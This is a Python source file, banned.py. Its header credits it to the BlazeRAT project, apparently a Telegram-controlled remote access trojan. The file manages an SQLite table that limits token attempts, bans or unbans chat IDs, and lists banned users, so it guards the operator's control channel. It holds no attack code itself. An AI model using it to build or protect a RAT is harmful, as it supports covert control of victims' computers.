banned.py 2.8 KB

1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586878889909192
  1. #!/usr/bin/python3
  2. # -*- coding: utf-8 -*-
  3. """
  4. Author : LimerBoy
  5. github.com/LimerBoy/BlazeRAT
  6. Notes :
  7. The file is needed to block users
  8. and changes in the number of attempts to enter the token.
  9. """
  10. # Import modules
  11. from core.database import connection, cursor, lock
  12. """ Change user attempts """
  13. def SetAttempts(chatid: int, username: str = "Unknown", attempts: int = 5) -> str:
  14. lock.acquire(True)
  15. sql = "SELECT id FROM banned WHERE chatid=?"
  16. cursor.execute(sql, (chatid,))
  17. # Change attempts count to user
  18. result = cursor.fetchone()
  19. if result is not None:
  20. sql = "UPDATE banned SET attempts=?, username=? WHERE chatid=?"
  21. else:
  22. sql = "INSERT INTO banned (attempts, username, chatid) VALUES (?, ?, ?)"
  23. # Execute sql & commit changes
  24. cursor.execute(sql, (attempts, username, chatid))
  25. connection.commit()
  26. lock.release()
  27. return sql[:6]
  28. """ Change user ban state """
  29. def BanUser(chatid: int, username: str = "Unknown", state: bool = True, reason: str = "") -> None:
  30. lock.acquire(True)
  31. sql = "SELECT id FROM banned WHERE chatid=?"
  32. cursor.execute(sql, (chatid,))
  33. # Change ban state to user
  34. result = cursor.fetchone()
  35. if result is not None:
  36. sql = "UPDATE banned SET state=?, username=?, reason=? WHERE chatid=?"
  37. else:
  38. sql = "INSERT INTO banned (state, username, reason, chatid) VALUES (?, ?, ?, ?)"
  39. # Set user is banned
  40. cursor.execute(sql, (int(state), username, reason, chatid))
  41. # Remove row from authorized users
  42. if state is True:
  43. sql = "DELETE FROM authorized WHERE chatid=?"
  44. cursor.execute(sql, (chatid,))
  45. connection.commit()
  46. lock.release()
  47. """ Get user attempts count """
  48. def GetAttempts(chatid: int) -> int:
  49. sql = "SELECT attempts FROM banned WHERE chatid=?"
  50. cursor.execute(sql, (chatid,))
  51. result = cursor.fetchone()
  52. if result is not None:
  53. return int(result[0])
  54. else:
  55. return 5
  56. """ User is banned """
  57. def UserIsBanned(chatid: int) -> tuple:
  58. sql = "SELECT state, reason FROM banned WHERE chatid=?"
  59. cursor.execute(sql, (chatid,))
  60. result = cursor.fetchone()
  61. if result is not None:
  62. return bool(result[0]), result[1]
  63. else:
  64. return False, "User not found"
  65. """ Get banned users list """
  66. def EnumerateBannedUsers() -> str:
  67. result = "Banned users list\n"
  68. sql = "SELECT chatid, username, reason FROM banned WHERE state=1 OR attempts=0"
  69. cursor.execute(sql)
  70. users = cursor.fetchall()
  71. # No banned users
  72. if len(users) == 0:
  73. return "There is no banned users"
  74. # Enum
  75. for user in users:
  76. chatid = user[0]
  77. username = user[1]
  78. reason = user[2]
  79. result += f"CHATID: {chatid},\nREASON: {reason},\nUSERNAME: {username}\n\n"
  80. return result